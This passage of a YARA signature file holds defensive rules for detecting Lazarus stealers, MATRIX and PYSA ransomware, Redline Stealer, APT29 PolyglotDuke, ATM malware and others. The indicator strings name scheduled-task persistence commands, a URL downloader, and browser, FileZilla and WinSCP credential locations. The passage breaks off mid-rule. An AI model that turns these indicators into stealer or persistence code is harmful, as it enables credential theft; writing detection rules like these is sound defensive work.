		$s13 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 }
		$s14 = "Entered Windows direcotry, skipping..." fullword ascii
		$s15 = "Found %d entries." fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 80KB and 11 of them
}

rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Generic_June_2020_1 : FILE
{
	meta:
		description = "Detect stealers used by Lazarus APT by common strings"
		author = "Arkbird_SOLG, James_inthe_box"
		id = "11a7c531-91a4-524e-aa5d-c11538f7db58"
		date = "2020-06-23"
		modified = "2021-07-13"
		reference = "https://twitter.com/GR_CTI/status/1275164880992186371"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L60-L85"
		license_url = "N/A"
		logic_hash = "878e4a128b7de45f4940e7adccfeb376ce46e87b35b25e162f668303e9fd7852"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "6d461bf3e3ca68b2d6d850322b79d5e3e647b0d515cb10449935bf6d77d7d5f2"
		hash2 = "6caa98870efd1097ee13ae9c21c6f6c9202a19ad049a9e65c60fce5c889dc4c8"
	strings:
		$s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease" fullword ascii
		$s2 = "Mutex failure! %d" fullword ascii
		$s3 = "Win32_DllRelease.dll" fullword ascii
		$s4 = "Mutex already created! %s\n" fullword ascii
		$s5 = "[END]" fullword ascii
		$s6 = "Thread finished!" fullword ascii
		$s7 = "Thread started!" fullword ascii
		$s8 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii
		$s9 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii
		$s10 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii
		$s11 = "Thread terminated!" fullword ascii
		$s12 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 }
		$s13 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 }
		$s14 = "Entered Windows direcotry, skipping..." fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 80KB and 11 of them
}

rule ARKBIRD_SOLG_MAL_Unknown_PE_Jul_2021_1 : FILE
{
	meta:
		description = "Detect unknown TA that focus russian people"
		author = "Arkbird_SOLG"
		id = "228e194c-84d9-562a-8811-326c5efeafae"
		date = "2020-07-14"
		modified = "2021-07-14"
		reference = "https://twitter.com/ShadowChasing1/status/1415292150258880513"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-14/MAL_Unknown_PE_Jul_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "9c61d2e29315bea0cdaf45b6dc48d35b8cc2d85de84afbb3a213f095a555af71"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "ef80365cdbeb46fa208e98ca2f73b7d3d2bde10ea6c3f7cc22d4bbf39d921524"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 43 00 52 00 45 00 41 00 54 00 45 00 20 00 2f 00 53 00 43 00 20 00 4f 00 4e 00 43 00 45 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 00 20 00 2f 00 54 00 52 00 20 00 25 00 73 00 20 00 2f 00 52 00 49 00 20 00 31 00 20 00 2f 00 53 00 54 00 20 00 25 00 30 00 32 00 64 00 3a 00 25 00 30 00 32 00 64 00 20 00 2f 00 45 00 54 00 20 00 25 00 30 00 32 00 64 00 3a 00 25 00 30 00 32 00 64 00 20 00 2f 00 46 }
		$s2 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 45 00 6e 00 64 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 }
		$s3 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 00 20 00 2f 00 46 00 20 00 3c 00 20 00 25 00 73 }
		$s4 = "6ad5e187ae3e8911c420434551678df2.txt" fullword wide
		$s5 = { 55 52 4c 44 6f 77 6e 6c 6f 61 64 65 72 }
		$s6 = { 64 6c 6c 00 4d 79 45 78 70 6f 72 74 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 8KB and 5 of ( $s* )
}



rule ARKBIRD_SOLG_RAN_Matrix_Sep_2020_1 : FILE
{
	meta:
		description = "Detect MATRIX ransomware"
		author = "Arkbird_SOLG"
		id = "a7df188c-e381-55e6-97e6-45f5830ff0d3"
		date = "2020-10-15"
		modified = "2020-10-15"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-15/MATRIX/RAN_Matrix_Sep_2020_1.yar#L1-L28"
		license_url = "N/A"
		logic_hash = "e832b258e8d2ee94ebbf2e715ca01960a92d723ee017261b18ce05d3095bf8a3"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "7b5e536827c3bb9f8077aed78726585739bcde796904edd6c4faadc9a8d22eaf"
		hash2 = "afca3b84177133ff859d9b9d620b582d913218723bfcf83d119ec125b88a8c40"
		hash3 = "d87d1fbeffe5b18e22f288780bf50b1e7d5af9bbe2480c80ea2a7497a3d52829"
		hash4 = "5474b58de90ad79d6df4c633fb773053fecc16ad69fb5b86e7a2b640a2a056d6"
	strings:
		$debug1 = "[LDRIVES]: not found!" fullword wide
		$debug2 = "[DONE]: NO_SHARES!" fullword wide
		$debug3 = "[ALL_LOCAL_KID]: " fullword wide
		$debug4 = "[FINISHED]: G=" fullword wide
		$debug5 = "[FEX_START]" fullword wide
		$debug6 = "[LOGSAVED]" fullword wide
		$debug7 = "[GENKEY]" fullword wide
		$debug8 = "[SHARES]" fullword wide
		$debug9 = "[SHARESSCAN]: " fullword wide
		$reg1 = { 2e 00 70 00 68 00 70 00 3f 00 61 00 70 00 69 00 6b 00 65 00 79 00 3d }
		$reg2 = { 26 00 63 00 6f 00 6d 00 70 00 75 00 73 00 65 00 72 00 3d }
		$reg3 = { 26 00 73 00 69 00 64 00 3d 00 }
		$reg4 = { 26 00 70 00 68 00 61 00 73 00 65 00 3d }
		$reg5 = { 47 00 45 00 54 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 500KB and 4 of ( $debug* ) and 3 of ( $reg* )
}

rule ARKBIRD_SOLG_MAL_Beacon_Vermilion_Strike_Sep_2021_1 : FILE
{
	meta:
		description = "Detect the windows version of the beacon of Vermilion Strike implant"
		author = "Arkbird_SOLG"
		id = "61bb0f02-0eb3-5abe-a2fc-65b94a9486f7"
		date = "2021-09-14"
		modified = "2021-09-16"
		reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_Beacon_Vermilion_Strike_Sep_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "801d93fc250666a48fbdd504c8bacab74f0bf7f534a7301a20ad79df3b41750d"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5"
		hash2 = "07b815cee2b85a41820cd8157a68f35aa1ed0aa5f4093b8cb79a1d645a16273f"
		hash3 = "7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492"
		tlp = "White"
		adversary = "Vermilion Strike"
	strings:
		$s1 = { 50 c7 03 01 00 00 00 e8 cc ?? 00 00 89 43 04 83 f8 ff 74 2c 8b 4d 08 6a 00 8d 44 24 0c 50 53 6a 08 6a 01 51 e8 91 ?? 00 00 85 c0 75 13 8b 44 24 08 66 83 78 08 01 6a 01 50 74 38 e8 80 ?? 00 00 8b 4e 10 2b 4e 0c b8 93 24 49 92 f7 e9 03 d1 c1 fa 04 8b c2 c1 e8 1f 47 03 c2 3b f8 0f 8c 30 ff ff ff 53 ff 15 }
		$s2 = { 8b 4c 24 1c 6a 00 6a 00 6a 00 6a 01 51 ff 15 5c a2 02 10 8b 55 0c 8b f0 56 6a 02 53 52 8b cf 89 74 24 34 e8 f0 fb ff ff 8b 45 0c 83 c4 10 6a 00 6a 00 6a 03 6a 00 6a 00 50 57 56 ff 15 50 a2 02 10 8b 4c 24 30 6a 00 68 00 82 80 80 6a 00 6a 00 6a 00 53 51 50 89 44 24 3c ff 15 64 a2 02 10 8b f8 89 7c 24 14 8d 49 00 8b b4 24 90 00 00 00 8b 5c 24 7c 8b c3 83 fe 10 73 04 8d 44 24 7c 8d 50 01 8d a4 24 00 00 00 00 8a 08 40 84 c9 75 f9 2b c2 8b cb 83 fe 10 73 04 8d 4c 24 7c 8b 55 20 52 8b 54 24 2c 52 50 51 57 ff 15 4c a2 02 10 85 }
		$s3 = { 68 00 00 00 10 6a 00 6a 00 6a 00 6a 00 c7 44 24 60 01 00 00 00 ff 15 40 a2 02 10 8b d8 8d 54 24 2c 52 8d 44 24 3c 50 55 53 ff 15 38 a2 02 10 8b e8 85 db 74 07 53 ff 15 44 a2 02 10 85 ed 74 2f 8b }
		$s4 = { 6a ff 68 [2] 02 10 64 a1 00 00 00 00 50 81 ec 14 01 00 00 a1 c0 72 03 10 33 c4 89 84 24 10 01 00 00 53 a1 c0 72 03 10 33 c4 50 8d 84 24 1c 01 00 00 64 a3 00 00 00 00 33 db 8d 44 24 0c 89 9c 24 24 01 00 00 50 8d 4c 24 18 89 5c 24 0c 51 89 74 24 18 c7 44 24 14 04 01 00 00 ff 15 04 a0 02 10 8d 44 24 14 c7 46 18 0f 00 00 00 89 5e 14 88 5e 04 8d 50 01 8a 08 40 3a cb 75 f9 2b c2 50 8d 54 24 18 52 8b ce e8 [2] ff ff 89 9c 24 24 01 00 00 c7 44 24 08 01 00 00 00 e8 d1 fe ff ff 85 c0 8b c6 74 0e 6a 02 68 ?? c6 02 10 e8 [2] ff ff 8b c6 8b 8c 24 1c 01 00 00 64 89 0d 00 00 00 00 59 5b 8b 8c 24 }
		$s5 = { a1 c0 72 03 10 33 c4 89 44 24 2c 68 00 00 00 f0 6a 18 6a 00 6a 00 68 4c 97 03 10 ff 15 30 a0 02 10 85 c0 75 11 33 c0 8b 4c 24 2c 33 cc e8 [2] 00 00 83 c4 30 c3 8b 15 58 97 03 10 8b 0d 54 97 03 10 68 50 97 03 10 6a 00 33 c0 6a 00 66 89 44 24 1e a1 5c 97 03 10 89 54 24 2c 6a 1c 8d 54 24 20 89 44 24 34 a1 4c 97 03 10 89 4c 24 2c 8b 0d 60 97 03 10 52 50 c6 44 24 28 08 c6 44 24 29 02 c7 44 24 2c 0e 66 00 00 c7 44 24 30 10 00 00 00 89 4c 24 40 ff 15 2c a0 02 10 85 c0 74 87 8b 0d 50 97 03 10 56 8b 35 38 a0 02 10 6a 00 68 ?? 82 03 10 6a 01 51 c7 44 24 18 01 00 00 00 c7 44 24 20 01 00 00 00 ff d6 85 c0 74 2b a1 50 97 03 10 6a 00 8d 54 24 0c 52 6a 03 50 ff d6 85 c0 74 16 8b 15 50 97 03 10 6a 00 8d 4c 24 14 51 6a 04 52 ff d6 85 c0 75 12 33 c0 5e 8b 4c 24 2c 33 cc e8 [2] 00 00 83 c4 30 c3 8b 15 50 97 03 10 6a }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 30KB and 4 of ( $s* )
}

rule ARKBIRD_SOLG_ATM_Dispcashbr_May_2021_1 : FILE
{
	meta:
		description = "Detect the DispCashBR ATM malware"
		author = "Arkbird_SOLG"
		id = "629261d8-242c-580d-aa4d-4b313c77edef"
		date = "2020-05-14"
		modified = "2021-05-14"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-14/DispCashBR/ATM_DispCashBR_May_2021_1.yara#L1-L18"
		license_url = "N/A"
		logic_hash = "26f641a266c1f187d834a05b327c13ddee93747e182a5458e4ec3cb1f23f5f47"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "432f732a4ecbb86cb3dedbfa881f2733d20cbcc5958ead52823bf0967c133175"
		hash2 = "7cea6510434f2c8f28c9dbada7973449bb1f844cfe589cdc103c9946c2673036"
		tlp = "White"
		adversary = "-"
	strings:
		$seq1 = { c7 45 cc 00 00 00 00 c7 04 24 68 5d 40 00 e8 40 0e 00 00 8b 85 a0 fd ff ff 8b 40 0a 8b 40 03 89 44 24 04 c7 04 24 89 5d 40 00 e8 0c 0e 00 00 c7 04 24 a4 5d 40 00 e8 18 0e 00 00 8b 85 a0 fd ff ff 8b 40 0a 8b 40 03 01 45 cc c7 04 24 d0 07 00 00 e8 7d 0e 00 00 83 ec 04 8b 85 a0 fd ff ff 8d 48 0a 0f b7 85 be fd ff ff 0f b7 c0 8d 95 98 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 89 4c 24 08 c7 44 24 04 2e 01 00 00 89 04 24 e8 75 05 00 00 83 ec 14 89 45 e8 8b 45 e8 83 c0 38 83 }
		$seq2 = { 0f b7 85 be fd ff ff 0f b7 c0 8b 55 e4 89 54 24 08 c7 44 24 04 06 00 00 00 89 04 24 e8 7e 17 00 00 83 ec 0c 0f b7 85 be fd ff ff 0f b7 c0 8d 95 b8 fd ff ff 89 54 24 08 c7 44 24 04 00 00 00 00 89 04 24 e8 5f 17 00 00 83 ec 0c 0f b7 85 be fd ff ff 0f b7 c0 8d 95 26 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 2e 01 00 00 89 04 24 e8 f8 16 00 00 83 ec 14 89 45 e0 8d 85 ac fd ff ff 89 44 24 08 c7 44 24 04 03 00 00 00 c7 04 24 04 00 00 00 e8 dc 16 00 00 83 ec 0c 8b 45 e0 83 c0 38 83 f8 }
		$seq3 = { 8b 85 a8 fd ff ff 8b 50 14 8b 85 a8 fd ff ff 8b 40 10 0f af c2 89 45 d8 8b 45 d8 89 44 24 04 c7 04 24 04 5b 40 00 e8 aa 12 00 00 8b 85 a4 fd ff ff 0f b7 40 04 0f b7 c0 89 44 24 04 c7 04 24 24 5b 40 00 e8 8d 12 00 00 8b 85 a8 fd ff ff 8b 50 18 8b 85 a8 fd ff ff 8b 40 1c 0f af c2 89 45 d4 c7 45 f0 00 00 00 00 8b 45 d8 89 44 24 04 c7 04 24 45 5b 40 00 e8 5b 12 00 00 83 45 f0 01 83 7d f0 01 7e e3 8b 85 a0 fd ff ff c7 40 06 01 00 00 00 0f b7 85 be fd ff ff 0f b7 c0 8d 95 26 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 2e 01 00 00 89 04 24 e8 60 ed ff ff 89 45 d0 }
		$seq4 = { c7 45 ec 00 00 00 00 8d 85 c4 fd ff ff 89 44 24 04 c7 04 24 03 00 02 0b e8 47 1b 00 00 83 ec 08 89 45 e8 83 7d e8 00 74 18 c7 04 24 92 50 40 00 e8 8b 23 00 00 c7 04 24 ff ff ff ff e8 8f 23 00 00 c7 04 24 aa 50 40 00 e8 8b 23 00 00 c7 04 24 f5 ff ff ff e8 ef 23 00 00 83 ec 04 c7 44 24 04 03 00 00 00 89 04 24 e8 e4 23 00 00 83 ec 08 c7 04 24 b8 0b 00 00 e8 dd 23 00 00 83 ec 04 c7 04 24 c4 50 40 00 e8 4e 23 00 00 8d 85 c4 fd ff ff 83 c0 06 89 44 24 04 c7 04 24 ed 50 40 00 e8 1d 23 00 00 8d 85 c4 fd ff ff 05 07 01 00 00 89 44 24 04 c7 04 24 03 51 40 00 e8 02 23 00 00 0f b7 85 c8 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 1a 51 40 00 e8 e8 22 00 00 0f b7 85 c6 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 2f 51 40 00 e8 ce 22 00 00 0f b7 85 c4 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 42 51 40 00 e8 b4 22 00 00 c7 04 24 54 51 40 00 e8 c0 22 00 00 8d 85 c0 fd ff ff 89 04 24 e8 46 1a 00 00 83 ec 04 8b 85 c0 fd ff ff 8d 95 be fd ff ff 89 54 24 20 c7 44 24 1c 00 00 00 00 8d 95 c4 fd ff ff 89 54 24 18 c7 44 24 14 0f 00 02 0b c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 89 44 24 04 c7 04 24 7f 51 40 00 e8 f9 19 00 00 83 ec 24 89 45 e8 8b 45 e8 83 c0 36 83 f8 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 20KB and 3 of ( $seq* )
}



rule ARKBIRD_SOLG_TA505_Maldoc_21Nov_2 : FILE
{
	meta:
		description = "invitation (1).xls"
		author = "Arkbird_SOLG"
		id = "e6328342-0d08-58a3-befe-15de41649763"
		date = "2019-11-21"
		modified = "2019-11-21"
		reference = "https://twitter.com/58_158_177_102/status/1197432303057637377"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L85-L116"
		license_url = "N/A"
		logic_hash = "84c7f064fb813934e397d81dad8af6288cb919e046cd2bb16f9ca6dc348c43c2"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "270b398b697f10b66828afe8d4f6489a8de48b04a52a029572412ae4d20ff89b"
	strings:
		$x1 = "C:\\Users\\J\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\AFFA0BDC.tmp" fullword wide
		$x2 = "C:\\Users\\J\\AppData\\Local\\Temp\\AFFA0BDC.tmp" fullword wide
		$x3 = "C:\\Windows\\system32\\FM20.DLL" fullword ascii
		$x4 = "C:\\Users\\J\\AppData\\Local\\Temp\\VBE\\MSForms.exd" fullword ascii
		$x5 = "C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" fullword ascii
		$x6 = "C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" fullword ascii
		$x7 = "*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" fullword wide
		$x8 = "*\\G{BA45F137-16B2-487D-9A21-F38179C0576C}#2.0#0#C:\\Users\\J\\AppData\\Local\\Temp\\VBE\\MSForms.exd#Microsoft Forms 2.0 Object" wide
		$s9 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide
		$s10 = "lIySgefa86jIfdEkSZVDoSs5BDkcalCieNBN4EqfVaEs2wWD4OjpTiOBqDrL3d9WCaDAKZpoJPRnoacfQPhucmy69axznNmRbRY12v3ez5PdAAnpAl5m5NUqKHBKCYb5" ascii
		$s11 = "35mvkZ9ZvIttuHSTUKWZCdOsh5j4Y1p2pJ3vi5onOXnMcEPIUIK1UWAYq3noPeaDtAdUOxKYvIlNZbqMpJjqpxhCidfpQ9GJXStKA44w7UFlKV9oMK8f5Tn6tKMKsviw" ascii
		$s12 = "*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual" wide
		$s13 = "verkar.dll" fullword ascii
		$s14 = "intc.dll" fullword ascii
		$s15 = "YjAygups4wPzNU7lNIGBuFbv6Triw8rxEPLSjrYSKXdUV8QuzbwJvdHshfBvdh66er47iobvTX1FCqI8d6RuKRcBhsLdYCOC1hPEdTllabYHlcZ1FDsgyLuwoCZYM7Fq" ascii
		$s16 = "MinuetsOs.dll" fullword wide
		$s17 = "KaBYL8xLRpN7VMzibXEzxh2GetwfB6MY9k3dRCNncC5eiyKNTaTrcoUDi4TrLrkULX7KSvAHjrw4lXxPRSvBmvWUzz5WRwKTskBtBa4xIlhT1ZruGeI36SIqamksANYW" ascii
		$s18 = "XmhvJDfd16Hxk6eRMKJ7sqYIVneFVN7iUzRF8or7LKNKW9bhf5a7V5OGwIIvyJrm8yMUoITytLvRMoVWm7z1NawYTkjzP5HbtBLxwp3GkLMjJ74iWVjBjzI8cWadyuRy" ascii
		$s19 = "Sx3mdokmfv27AYhtFublOb5Exec1r1b5LAAbsRHrjLKTWiG4K9dKXbuQBxY9mt4nu7u9ygaWWTcczlRpGhpsXzgKgTI52IfZRxyZWHFD8pXd9sqqOJBedLy4ZT3OHe5n" ascii
		$s20 = "C:\\Windows\\system32\\stdole2.tlb" fullword ascii
	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 5000KB and 1 of ( $x* ) and 4 of them
}

rule ARKBIRD_SOLG_Mal_Stealer_NET_Redline_Aug_2020_1 : FILE
{
	meta:
		description = "Detect Redline Stealer (August 2020)"
		author = "Arkbird_SOLG"
		id = "6fda87c3-0d00-5c00-a1ff-6d96dd726ddf"
		date = "2020-08-24"
		modified = "2020-08-24"
		reference = "https://twitter.com/JAMESWT_MHT/status/1297878628450152448"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-24/Redline/Mal_Stealer_NET_Redline_Aug_2020_1.yar#L1-L31"
		license_url = "N/A"
		logic_hash = "950641dfaf17f332e6a18961aebb2533732d82ce69f3617efa08cc63272f1786"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "4195430d95ac1ede9bc986728fc4211a1e000a9ba05a3e968dd302c36ab0aca0"
	strings:
		$s1 = { 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 2a 00 20 00 46 00 52 00 4f 00 4d 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 57 00 68 00 65 00 72 00 65 00 20 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 49 00 64 00 3d 00 27 00 7b 00 30 00 7d }
		$s2 = { 28 00 28 00 28 00 28 00 5b 00 30 00 2d 00 39 00 2e 00 5d 00 29 00 5c 00 64 00 29 00 2b 00 29 00 7b 00 31 00 7d 00 29 }
		$s3 = { 7b 00 30 00 7d 00 5c 00 46 00 69 00 6c 00 65 00 5a 00 69 00 6c 00 6c 00 61 00 5c 00 72 00 65 00 63 00 65 00 6e 00 74 00 73 00 65 00 72 00 76 00 65 00 72 00 73 00 2e 00 78 00 6d 00 6c }
		$s4 = { 7b 00 30 00 7d 00 5c 00 46 00 69 00 6c 00 65 00 5a 00 69 00 6c 00 6c 00 61 00 5c 00 73 00 69 00 74 00 65 00 6d 00 61 00 6e 00 61 00 67 00 65 00 72 00 2e 00 78 00 6d 00 6c }
		$s5 = { 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 61 00 72 00 74 00 69 00 6e 00 20 00 50 00 72 00 69 00 6b 00 72 00 79 00 6c 00 5c 00 57 00 69 00 6e 00 53 00 43 00 50 00 20 00 32 00 5c 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 73 }
		$s6 = "<encrypted_key>k__BackingField" fullword ascii
		$s7 = "set_encrypted_key" fullword ascii
		$s8 = "UserAgentDetector" fullword ascii
		$s9 = "set_encrypted_key" fullword ascii
		$s10 = "set_FtpConnections" fullword ascii
		$s11 = "set_IsProcessElevated" fullword ascii
		$s12 = "SELECT ExecutablePath, ProcessID FROM Win32_Process" fullword wide
		$s13 = "<IsProcessElevated>k__BackingField" fullword ascii
		$s14 = "System.Collections.Generic.IEnumerable<RedLine.Logic.Json.JsonValue>.GetEnumerator" fullword ascii
		$s15 = "System.Collections.Generic.IEnumerator<RedLine.Logic.Json.JsonValue>.get_Current" fullword ascii
		$s16 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\browser.exe" fullword wide
		$s17 = "ProcessExecutablePath" fullword ascii
		$s18 = "IsProcessElevated" fullword ascii
		$s19 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe" fullword wide
		$s20 = "get_encryptedPassword" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 90KB and 15 of them
}


rule ARKBIRD_SOLG_APT_Sidewinder_Nov_2020_1 : FILE
{
	meta:
		description = "Detect Sidewinder DLL decoder algorithm"
		author = "Arkbird_SOLG"
		id = "9e948949-f38d-5a76-a34c-965ec9be070d"
		date = "2020-11-14"
		modified = "2020-11-15"
		reference = "https://twitter.com/hexfati/status/1325397305051148292"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-15/APT_SideWinder_Nov_2020_1.yar#L1-L12"
		license_url = "N/A"
		logic_hash = "661eb5510ff0aa59b38b2c023653f0a23867a2813d854fbd0a7a6b657d9ba671"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "8d7ad2c603211a67bb7abf2a9fe65aefc993987dc804bf19bafbefaaca066eaa"
	strings:
		$s = { 13 30 05 00 ?? 00 00 00 01 00 00 11 ?? ?? 00 00 ?? ?? ?? 00 00 [30-80] 2B 16 07 08 8F 1? }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 3KB and $s
}

rule ARKBIRD_SOLG_APT_APT29_Polyglotduke_Mar_2021_1 : FILE
{
	meta:
		description = "Detect PolyglotDuke implant used by APT29 group"
		author = "Arkbird_SOLG"
		id = "751e4f57-2c31-5cad-a794-e124b40c537b"
		date = "2021-03-08"
		modified = "2021-03-10"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_PolyglotDuke_Mar_2021_1.yar#L1-L19"
		license_url = "N/A"
		logic_hash = "3a6d54fb266fe054886569c200f122b1e4459e0d561fe5246b623a19ec526224"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "9b33ec7f5e615a6556f147b611425d3ca4a8879ce746d4a8cb62adf4c7f76029"
		hash2 = "0c39fce5bd32b4f91a1df4f6321c2f01c017195659c7e95a235ef71ca2865aa9"
	strings:
		$seq1 = { 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 02 ff d0 48 83 c4 28 c3 cc 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 02 ff d0 48 83 c4 28 c3 cc 4c 8b 15 [2] 02 00 41 8b c0 4c 33 15 [2] 02 00 74 03 49 ff e2 83 e0 01 4c 8b ca 41 83 e0 02 8b d0 48 ff 25 [2] 01 00 cc cc cc 4c 8b 15 [2] 02 00 4c 33 15 [2] 02 00 74 03 49 ff e2 48 ff 25 [2] 01 00 cc cc 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 07 48 83 c4 28 48 ff e0 b9 78 00 00 00 ff 15 [2] 01 00 32 c0 48 83 c4 28 c3 cc cc cc 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 03 48 ff e0 33 c0 c3 cc cc 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 03 48 ff e0 }
		$seq2 = { 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 57 48 83 ec 30 33 ff 48 8b da 48 8b f1 48 85 c9 75 18 e8 69 0c 00 00 bb 16 00 00 00 89 18 e8 b1 38 00 00 8b c3 e9 a7 00 00 00 48 85 d2 74 e3 e8 a8 3f 00 00 41 bf 01 00 00 00 85 c0 75 0c ff 15 [2] 01 00 85 c0 41 0f 44 ff 83 64 24 28 00 48 83 23 00 48 83 64 24 20 00 41 83 c9 ff 4c 8b c6 33 d2 8b cf ff 15 [2] 01 00 48 63 e8 85 c0 75 11 ff 15 [2] 01 00 8b c8 e8 b2 0b 00 00 33 c0 eb 4f 48 8b cd 48 03 c9 e8 e3 07 00 00 48 89 03 48 85 c0 74 e9 41 83 c9 ff 4c 8b c6 33 d2 8b cf 89 6c 24 28 48 89 44 24 20 ff 15 [2] 01 00 85 c0 75 1b ff 15 [2] 01 00 8b c8 e8 70 0b 00 00 48 8b 0b e8 ?? f3 ff ff 48 83 23 00 eb b0 41 8b c7 48 8b 5c 24 40 48 8b 6c 24 48 48 8b 74 24 50 48 8b 7c 24 58 48 83 c4 30 41 5f c3 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 57 48 83 ec 40 33 ff 48 8b da 48 8b f1 }
		$seq3 = { ff 25 00 00 00 00 00 00 00 00 00 00 00 00 cc }
		$seq4 = "InitSvc" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 100KB and 3 of them
}


rule ARKBIRD_SOLG_RAN_PYSA_Sept_2021_1 : FILE
{
	meta:
		description = "Detect the PYSA ransomware"
		author = "Arkbird_SOLG"
		id = "fd939287-ec37-5021-9782-f0f86a9f0e4b"
		date = "2021-09-23"
		modified = "2021-11-10"
		reference = "Internal Research"
